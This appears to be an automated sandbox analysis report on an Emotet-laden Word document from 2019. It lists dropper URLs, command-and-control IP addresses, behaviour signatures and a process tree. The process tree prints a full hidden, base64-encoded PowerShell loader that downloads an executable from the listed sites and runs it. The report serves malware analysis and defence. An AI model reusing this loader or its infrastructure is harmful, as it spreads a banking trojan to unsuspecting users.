Analysis

  • max time kernel
    29s
  • resource
    win10v191014
  • submitted
    18-12-2019 07:03

General

  • Target

    0fcabd53281c3d1833a2bbb2e91487f09033a8d6c734c0e4e953bf36ff30cf1f

  • Sample

    191218-3lrrvyanzx

  • SHA256

    0fcabd53281c3d1833a2bbb2e91487f09033a8d6c734c0e4e953bf36ff30cf1f

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://gobabynames.com/dz6r/xytx7/

exe.dropper

http://nhomkinhthienbinh.com/cgi-bin/yW/

exe.dropper

http://capitalcitycarwash.com/komldk65kd/7tz/

exe.dropper

http://compscischool.com/wp-content/8a1n/

exe.dropper

http://gianphoisonghong.com/wp-includes/AUWxwq1V2s/

Extracted

Family

emotet

C2

173.247.19.238:80

174.81.132.128:80

211.44.35.111:80

165.227.156.155:443

167.99.105.223:7080

67.225.179.64:8080

176.31.200.130:8080

104.131.11.150:8080

68.118.26.116:80

190.226.44.20:21

120.150.246.241:80

92.222.216.44:8080

73.214.99.25:80

110.142.38.16:80

24.93.212.32:80

190.53.135.159:21

66.209.97.122:8080

173.91.11.142:80

100.14.117.137:80

2.237.76.249:80

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0fcabd53281c3d1833a2bbb2e91487f09033a8d6c734c0e4e953bf36ff30cf1f.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:4960
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABIAG0AaAB5AHoAdABvAHkAaABzAGUAPQAnAFoAeABsAG4AcgBoAHAAdQBwAGIAZQBmACcAOwAkAEEAbABxAGEAYwByAGMAagAgAD0AIAAnADIAMQAwACcAOwAkAEUAaAB5AHEAdwBxAGQAZwBhAHIAPQAnAE0AagBqAHkAeQBtAHMAcQBkAHEAJwA7ACQAQQBhAG4AaABrAHMAaQBwAHMAYwBhAGgAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBsAHEAYQBjAHIAYwBqACsAJwAuAGUAeABlACcAOwAkAEMAYgB3AHMAawBjAHQAdQBkAGMAPQAnAFQAbgBxAGQAdwBxAGwAdwAnADsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMAbABpAGUAbgB0ADsAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAYQBiAHkAbgBhAG0AZQBzAC4AYwBvAG0ALwBkAHoANgByAC8AeAB5AHQAeAA3AC8AKgBoAHQAdABwADoALwAvAG4AaABvAG0AawBpAG4AaAB0AGgAaQBlAG4AYgBpAG4AaAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAVwAvACoAaAB0AHQAcAA6AC8ALwBjAGEAcABpAHQAYQBsAGMAaQB0AHkAYwBhAHIAdwBhAHMAaAAuAGMAbwBtAC8AawBvAG0AbABkAGsANgA1AGsAZAAvADcAdAB6AC8AKgBoAHQAdABwADoALwAvAGMAbwBtAHAAcwBjAGkAcwBjAGgAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA4AGEAMQBuAC8AKgBoAHQAdABwADoALwAvAGcAaQBhAG4AcABoAG8AaQBzAG8AbgBnAGgAbwBuAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEEAVQBXAHgAdwBxADEAVgAyAHMALwAnAC4AIgBTAHAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARABrAGYAZABnAHMAbgB6AGkAbwBjAG4AbwA9ACcATAB3AHgAeAB5AGcAagBxAGoAZQBsAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBqAHAAYwBnAHMAaQBmAHEAZgBtACAAaQBuACAAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAKQB7AHQAcgB5AHsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAC4AIgBkAGAAbwBgAFcAbgBMAG8AYABBAGQAZgBJAEwAZQAiACgAJABDAGoAagBwAGMAZwBzAGkAZgBxAGYAbQAsACAAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAE0AZQBpAG0AZgB5AG0AbQBnAHcAYQBnAD0AJwBGAHgAZwB6AHYAagBrAHUAbgB5AHoAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAYQBuAGgAawBzAGkAcABzAGMAYQBoAHIAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADMANQAxADYAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAVAAiACgAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAFkAdgB3AHkAZQB2AGoAdQBiAGoAdwBoAHkAPQAnAFcAcgBjAG8AawBtAHkAbAAnADsAYgByAGUAYQBrADsAJABKAHMAcQBrAG0AbwBmAHIAcQA9ACcARABpAHkAegB3AGQAZQBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAZQBtAGIAaABvAGYAagA9ACcASgB4AHMAdgBjAHMAagBwACcA
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4636
    • C:\Users\Admin\210.exe
      "C:\Users\Admin\210.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:3676
      • C:\Users\Admin\210.exe
        --dae88dcf
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:3960

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3676-9-0x0000000000620000-0x0000000000637000-memory.dmp

    Filesize

    92KB

  • memory/3960-11-0x0000000002120000-0x0000000002137000-memory.dmp

    Filesize

    92KB

  • memory/3960-12-0x0000000000400000-0x0000000000463000-memory.dmp

    Filesize

    396KB